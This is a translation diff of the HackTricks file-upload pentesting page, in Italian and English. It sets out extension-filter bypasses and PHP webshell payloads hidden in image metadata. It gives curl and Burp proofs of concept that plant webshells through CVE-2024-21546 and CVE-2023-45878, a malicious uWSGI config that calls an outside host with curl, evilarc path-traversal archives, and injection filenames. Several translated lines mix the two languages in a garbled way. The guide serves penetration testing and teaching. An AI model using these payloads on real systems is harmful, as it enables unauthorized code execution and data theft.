- [Guide di indurimento SSH](https://www.ssh-audit.com/hardening_guides.html)
+- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Guida al hacking SSH di Turgensec](https://community.turgensec.com/ssh-hacking-guide)
+- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
 - [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
 - [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
 ## Comandi Automatici HackTricks
 ```
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@ -1,8 +1,8 @@
-# Upload di file
+# Caricamento file
 {{#include ../../banners/hacktricks-training.md}}
-## Metodologia generale per l'upload di file
+## Metodologia generale per il caricamento file
 Altre estensioni utili:
@ -17,11 +17,11 @@ Altre estensioni utili:
 ### Bypass dei controlli sulle estensioni dei file
-1. Se applicabile, **controlla** le **estensioni precedenti.** Testale anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
+1. Se applicabile, controlla le estensioni precedenti. Testale anche usando lettere maiuscole: _pHp, .pHP5, .PhAr ..._
-2. _Controlla **l'aggiunta di una estensione valida prima** dell'estensione eseguibile (usa anche le estensioni precedenti):_
+2. Controlla aggiungendo una estensione valida prima dell'estensione di esecuzione (usa anche le estensioni precedenti):
 - _file.png.php_
 - _file.png.Php5_
-3. _Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforce** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** menzionate in precedenza_)_
+3. Prova ad aggiungere caratteri speciali alla fine. Puoi usare Burp per bruteforceare tutti i caratteri ascii e Unicode. (Nota che puoi anche provare a usare le estensioni precedentemente menzionate)
 - _file.php%20_
 - _file.php%0a_
 - _file.php%00_
@ -31,7 +31,7 @@ Altre estensioni utili:
 - _file._
 - _file.php...._
 - _file.pHp5...._
-4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come **raddoppiare** l'**estensione** o **aggiungere dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni** precedenti per preparare un payload migliore._
+4. Prova a bypassare le protezioni ingannando il parser delle estensioni lato server con tecniche come il raddoppio dell'estensione o aggiungendo dati junk (null bytes) tra le estensioni. Puoi anche usare le estensioni precedenti per preparare un payload più efficace.
 - _file.png.php_
 - _file.png.pHp5_
 - _file.php#.png_
@ -40,13 +40,13 @@ Altre estensioni utili:
 - _file.php%0a.png_
 - _file.php%0d%0a.png_
 - _file.phpJunk123png_
-5. Aggiungi **un altro livello di estensioni** al controllo precedente:
+5. Aggiungi un altro livello di estensioni al controllo precedente:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Prova a mettere l'**exec extension before the valid extension** e spera che il server sia malconfigurato. (utile per sfruttare misconfigurazioni di Apache dove qualsiasi file con extension** _**.php**_**, ma** non necessariamente terminante in .php** eseguirà codice):
+6. Prova a mettere l'estensione di esecuzione prima dell'estensione valida e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni di Apache dove qualsiasi cosa con estensione **.php**, anche se non termina necessariamente con .php, può eseguire codice):
 - _ex: file.php.png_
-7. Uso degli **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti ":" sarà inserito dopo un'estensione proibita e prima di una consentita. Di conseguenza, verrà creato sul server un **file vuoto con l'estensione proibita** (e.g. "file.asax:.jpg"). Questo file potrebbe essere modificato in seguito usando altre tecniche come l'uso del suo short filename. Il "**::$data**” pattern può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe anche essere utile per bypassare ulteriori restrizioni (e.g. "file.asp::$data.")
+7. Usare NTFS alternate data stream (ADS) su Windows. In questo caso, un carattere due punti ":" verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, verrà creato sul server un file vuoto con l'estensione vietata (es. "file.asax:.jpg”). Questo file potrebbe essere modificato in seguito usando altre tecniche come il short filename. Il pattern "**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe essere utile per aggirare ulteriori restrizioni (es. "file.asp::$data.”)
-8. Prova a superare i limiti del nome file. L'estensione valida viene troncata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
+8. Prova a superare i limiti del nome file. L'estensione valida viene troncata. E rimane il PHP maligno. AAA<--SNIP-->AAA.php
 ```
 # Linux maximum 255 bytes
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
 #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
-Alcuni upload handlers tagliano o normalizzano i caratteri punto finali dal nome file salvato. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) nelle versioni precedenti alla 2.9.1, puoi bypassare la validazione delle estensioni tramite:
+Alcuni upload handler rimuovono o normalizzano i caratteri punto finali dal filename salvato. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) nelle versioni precedenti alla 2.9.1, puoi bypassare la validazione delle estensioni:
- Usare un MIME immagine valido e un magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`).
+- Usando un MIME immagine valido e l'header magic corretto (es., il PNG `\x89PNG\r\n\x1a\n`).
- Nominare il file caricato con un'estensione PHP seguita da un punto, e.g., `shell.php.`.
+- Nominando il file caricato con un'estensione PHP seguita da un punto, es., `shell.php.`.
- Il server rimuove il punto finale e persiste `shell.php`, che verrà eseguito se posizionato in una directory servita dal web (storage pubblico di default come `/storage/files/`).
+- Il server rimuove il punto finale e persiste `shell.php`, che verrà eseguito se collocato in una directory servita dal web (storage pubblico di default come `/storage/files/`).
-Minimal PoC (Burp Repeater):
+PoC minimale (Burp Repeater):
 ```http
 POST /profile/avatar HTTP/1.1
 Host: target
@ -80,55 +80,55 @@ Content-Type: image/png
 \x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
 ------WebKitFormBoundary--
 ```
-Quindi visita il percorso salvato (tipico in Laravel + LFM):
+Poi richiedi il percorso salvato (tipico in Laravel + LFM):
 ```
 GET /storage/files/0xdf.php?cmd=id
 ```
 Mitigations:
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
+- Aggiorna unisharp/laravel-filemanager a ≥ 2.9.1.
- Applica allowlists lato server rigorose e ri-verifica il persisted filename.
+- Applica allowlists rigorose lato server e riesegui la validazione del nome file persistito.
- Serve gli uploads da percorsi non eseguibili.
+- Servi gli upload da percorsi non eseguibili.
-### Bypass Content-Type, Magic Number, Compression & Resizing
+### Bypass di Content-Type, Magic Number, Compression & Resizing
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
+- Bypass dei controlli di **Content-Type** impostando il **valore** dell'**header** **Content-Type** su: _image/png_ , _text/plain , application/octet-stream_
 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
+- Bypass del controllo del **magic number** aggiungendo all'inizio del file i **byte di una vera immagine** (per confondere il comando _file_). Oppure inserisci la shell nei **metadata**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-`\` or you could also **introduce the payload directly** in an image:\
+`\` oppure puoi anche **introdurre il payload direttamente** in un'immagine:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
+- Se alla tua immagine viene applicata la **compressione**, per esempio usando librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
+- La pagina web potrebbe anche **ridimensionare** l'**image**, usando per esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
+- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, usando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare il **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
-### Other Tricks to check
+### Altri trucchi da provare
- Trova una vulnerabilità che permetta di **rename** il file già caricato (per cambiare l'estensione).
+- Trova una vulnerabilità per **rinominare** il file già caricato (per cambiare l'estensione).
- Individua una vulnerabilità di **Local File Inclusion** per eseguire il backdoor.
+- Trova una vulnerabilità di **Local File Inclusion** per eseguire il backdoor.
 - **Possibile divulgazione di informazioni**:
-1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome**
+1. Carica **più volte** (e **contemporaneamente**) lo **stesso file** con lo **stesso nome**
 2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
-3. Caricare un file con **"." , "..”, o "…”** come nome. Per esempio, in Apache su **Windows**, se l'applicazione salva i file caricati nella directory "/www/uploads/" il filename "." creerà un file chiamato "uploads" nella directory "/www/".
+3. Caricare un file con **"." , "..", or "…" come nome**. Per esempio, in Apache su **Windows**, se l'applicazione salva i file caricati nella directory "/www/uploads/", il filename "." creerà un file chiamato "uploads" nella directory "/www/".
-4. Carica un file che potrebbe non essere facilmente eliminabile come **"…:.jpg”** su **NTFS**. (Windows)
+4. Carica un file che potrebbe non essere facilmente cancellato come **"…:.jpg"** in **NTFS**. (Windows)
-5. Carica un file su **Windows** con caratteri non validi come `|<>*?”` nel nome. (Windows)
+5. Carica un file in **Windows** con caratteri **invalidi** come `|<>*?”` nel suo nome. (Windows)
-6. Carica un file su **Windows** usando nomi riservati (forbidden) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
+6. Carica un file in **Windows** usando nomi **riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Prova anche a **uploadare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando accidentalmente aperto dalla vittima.
+- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando viene aperto accidentalmente dalla vittima.
-### Special extension tricks
+### Trucchi per estensioni speciali
-Se stai cercando di caricare file su un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
+Se stai cercando di caricare file su un **PHP server**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
-Se stai cercando di caricare file su un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+Se stai cercando di caricare file su un **ASP server**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
-I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguirli con php, o includerli dentro uno script...).
+I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguirli con php, o includerli in uno script...).
-L'estensione `.inc` è talvolta usata per file php che servono solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso che **questa estensione venga eseguita**.
+L'estensione `.inc` è talvolta usata per file php che vengono usati solo per **includere/importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso che **questa estensione venga eseguita**.
 ## **Jetty RCE**
-Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come mostrato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati la shell!
+Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuovi *.xml e *.war vengono processati automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come mostrato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspetta la shell!
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -136,9 +136,9 @@ Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE because **new
 Per un'esplorazione dettagliata di questa vulnerabilità consulta la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
-Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", placeholder e operatori. Notevolmente, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere il contenuto di un file. Tra gli schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, permettendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malevoli come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene processato.
+Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate su server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI utilizzano una sintassi specifica per incorporare variabili "magiche", placeholder e operatori. In particolare, l'operatore '@', usato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, permettendo di leggere i dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malevoli come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene processato.
-Considera il seguente esempio di un file `uwsgi.ini` malevolo che mostra vari schemi:
+Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi:
 ```ini
 [uwsgi]
 ; read from a symbol
@ -156,14 +156,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e analizzata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco Denial of Service) oppure il file deve essere impostato in auto-reload. La funzione auto-reload, se abilitata, ricarica il file a intervalli specificati quando rileva modifiche.
+L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco Denial of Service) oppure il file deve essere impostato in auto-reload. La funzionalità di auto-reload, se abilitata, ricarica il file a intervalli specificati quando rileva modifiche.
-È fondamentale comprendere la natura permissiva del parsing dei file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (ad esempio un'immagine o un PDF), ampliando ulteriormente l'ambito di possibile sfruttamento.
+È cruciale comprendere la natura permissiva del parsing dei file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), estendendo ulteriormente l'ambito di potenziale sfruttamento.
 ### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
 Un endpoint non autenticato in Gibbon LMS consente arbitrary file write all'interno della web root, portando a pre-auth RCE tramite il caricamento di un file PHP. Versioni vulnerabili: fino e inclusa la 25.0.01.
 - Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
 - Metodo: POST
 - Parametri richiesti:
 - `img`: data-URI-like string: `[mime];[name],[base64]` (il server ignora type/name, decodifica in base64 la parte finale)
 - `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
 - `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
 PoC minimo per scrivere e leggere un file:
 ```bash
 # Prepare test payload
 printf '0xdf was here!' | base64
 # => MHhkZiB3YXMgaGVyZSEK
 # Write poc.php via unauth POST
 curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
 -d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
 # Verify write
 curl http://target/Gibbon-LMS/poc.php
 ```
 Carica un webshell minimale ed esegui comandi:
 ```bash
 # '<?php system($_GET["cmd"]); ?>' base64
 # PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
 curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
 -d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
 curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
 ```
 Note:
 - Il handler esegue `base64_decode($_POST["img"])` dopo aver splittato per `;` e `,`, poi scrive i byte in `$absolutePath . '/' . $_POST['path']` senza validare estensione/tipo.
 - Il codice risultante viene eseguito come l'utente del servizio web (ad es., XAMPP Apache on Windows).
 Le referenze per questo bug includono l'advisory di usd HeroLab e la voce NVD. Vedi la sezione References qui sotto.
 ## **wget File Upload/SSRF Trick**
-In alcune occasioni potresti trovare che un server utilizza **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice può controllare che l'estensione dei file scaricati sia nella whitelist per assicurare che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere bypassato.**\
+In alcune occasioni potresti scoprire che un server sta usando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe controllare che l'estensione dei file scaricati sia inclusa in una whitelist per assicurare che vengano scaricati solo file consentiti. Tuttavia, **questa verifica può essere bypassata.**\
-Il **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **bypasserà** il **controllo** (poiché in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in **"A"\*232+".php"**.
+La **lunghezza massima** di un **nome del file** in **linux** è **255**, tuttavia, **wget** tronca i nomi dei file a **236** caratteri. Puoi **scaricare un file chiamato "A"*232+".php"+".gif"**, questo nome file **bypasserà** il **controllo** (come in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in "A"*232+".php".
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -186,21 +226,21 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Nota che **un'altra opzione** che potresti prendere in considerazione per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale supererà il controllo ma poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non sia usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
+Nota che **another option** a cui potresti pensare per bypassare questo controllo è far sì che il **HTTP server** reindirizzi a un file diverso, così l'URL iniziale bypasserà il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga usato con il **parameter** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
-## Strumenti
+## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere Pentesters e Bug Hunters nel testing dei meccanismi di upload di file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento di vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere Pentesters e Bug Hunters nel testing dei meccanismi di file upload. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle web application.
-### Corrompere gli indici di upload con le idiosincrasie di snprintf (storico)
+### Corrupting upload indices with snprintf quirks (historical)
-Alcuni legacy upload handlers che usano `snprintf()` o simili per costruire array multi-file da un singolo upload possono essere ingannati nel forgiare la struttura `_FILES`. A causa di incoerenze e troncamenti nel comportamento di `snprintf()`, un upload singolo accuratamente costruito può apparire come più file indicizzati lato server, confondendo la logica che assume una forma rigida (es. trattarlo come un upload multi-file e prendere branch non sicuri). Pur essendo di nicchia oggi, questo pattern di “index corruption” riemerge occasionalmente in CTF e codebase più vecchie.
+Alcuni legacy upload handler che usano `snprintf()` o simili per costruire array multi-file da un singolo upload possono essere ingannati nel forgiare la struttura `_FILES`. A causa di inconsistenze e troncamenti nel comportamento di `snprintf()`, un singolo upload attentamente costruito può apparire come più file indicizzati sul lato server, confondendo la logica che assume una forma rigorosa (es. trattandolo come un upload multi-file e prendendo branch non sicuri). Pur essendo raro oggi, questo pattern di “index corruption” occasionalmente riemerge in CTFs e codebase più vecchie.
-## Da upload di file ad altre vulnerabilità
+## From File upload to other vulnerabilities
 - Imposta **filename** su `../../../tmp/lol.png` e prova a ottenere un **path traversal**
- Imposta **filename** su `sleep(10)-- -.jpg` e potresti riuscire a ottenere una **SQL injection**
+- Imposta **filename** su `sleep(10)-- -.jpg` e potresti essere in grado di ottenere una **SQL injection**
- Imposta **filename** su `<svg onload=alert(document.domain)>` per ottenere una **XSS**
+- Imposta **filename** su `<svg onload=alert(document.domain)>` per ottenere una XSS
 - Imposta **filename** su `; sleep 10;` per testare qualche command injection (più [command injections tricks here](../command-injection.md))
 - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
 - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
@ -208,11 +248,11 @@ Alcuni legacy upload handlers che usano `snprintf()` o simili per costruire arra
 - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
 - Prova **different svg payloads** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Se puoi **indicare al web server di recuperare un'immagine da un URL** potresti provare ad abusare di una [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **image** verrà **salvata** in un sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
+- Se puoi **indicare the web server to catch an image from a URL** potresti provare ad abusare di una [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **image** verrà **saved** in qualche sito **public**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **steal information of every visitor**.
 - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- PDF appositamente costruiti per XSS: La [pagina seguente mostra come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF potresti preparare un PDF che esegua JS arbitrario seguendo le indicazioni fornite.
+- PDF appositamente creati per XSS: La [pagina seguente mostra come **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se puoi uploadare PDF potresti preparare un PDF che eseguirà JS arbitrario seguendo le indicazioni fornite.
- Carica il contenuto di \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) per verificare se il server ha qualche **antivirus**
+- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content per verificare se il server ha qualche **antivirus**
- Verifica se esiste un **size limit** nel caricamento dei file
+- Controlla se esiste qualche **size limit** nell'upload dei file
 Ecco una top 10 delle cose che puoi ottenere caricando file (da [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -239,15 +279,15 @@ https://github.com/portswigger/upload-scanner
 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
 - **JPG**: `"\xff\xd8\xff"`
-Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file.
+Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file.
-## Upload di Zip/Tar decompressi automaticamente
+## Zip/Tar File Automatically decompressed Upload
-Se puoi caricare uno ZIP che verrà decompresso sul server, puoi fare 2 cose:
+Se puoi uploadare uno ZIP che verrà decompressed all'interno del server, puoi fare 2 cose:
 ### Symlink
-Carica un archivio che contiene soft link a altri file; accedendo ai file decompressi accederai ai file linkati:
+Uploada un link contenente soft links ad altri file, poi, accedendo ai file decompressi accederai ai file linkati:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
@ -255,7 +295,7 @@ tar -cvf test.tar symindex.txt
 ```
 ### Decomprimere in cartelle diverse
-La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante l'ipotesi iniziale che questa configurazione potesse proteggere dall'esecuzione di comandi a livello OS tramite upload di file dannosi, il supporto alla compressione gerarchica e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attaccanti di aggirare le restrizioni ed evadere le directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target.
+La creazione inaspettata di file in directory durante la decompressione è un problema significativo. Nonostante l'assunto iniziale che questa configurazione potesse proteggere contro l'OS-level command execution tramite upload di file malevoli, il supporto alla compressione gerarchica e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attaccanti di bypassare le restrizioni e uscire dalle secure upload directories manipolando la funzionalità di decompressione dell'applicazione target.
 Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utility può essere usata come mostrato:
 ```python
@ -264,14 +304,15 @@ python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-Inoltre, il **symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, crea nel tuo sistema un symlink a quel file. Questo garantisce che evilarc non incontri errori durante la sua esecuzione.
+Inoltre, il **symlink trick with evilarc** è un'opzione. Se l'obiettivo è puntare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante la sua esecuzione.
-Di seguito un esempio di codice Python usato per creare un file zip malevolo:
+Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo:
 ```python
 #!/usr/bin/python
 import zipfile
 from io import BytesIO
 def create_zip():
 f = BytesIO()
 z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
@ -284,11 +325,11 @@ zip.close()
 create_zip()
 ```
-**Sfruttare la compressione per file spraying**
+**Abusing compression for file spraying**
-Per maggiori dettagli **controlla il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
+Per maggiori dettagli **consulta il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
-1.  **Creating a PHP Shell**: Il codice PHP è scritto per eseguire comandi passati tramite la variabile `$_REQUEST`.
+1.  **Creating a PHP Shell**: Viene scritto codice PHP per eseguire comandi passati tramite la variabile `$_REQUEST`.
 ```php
 <?php
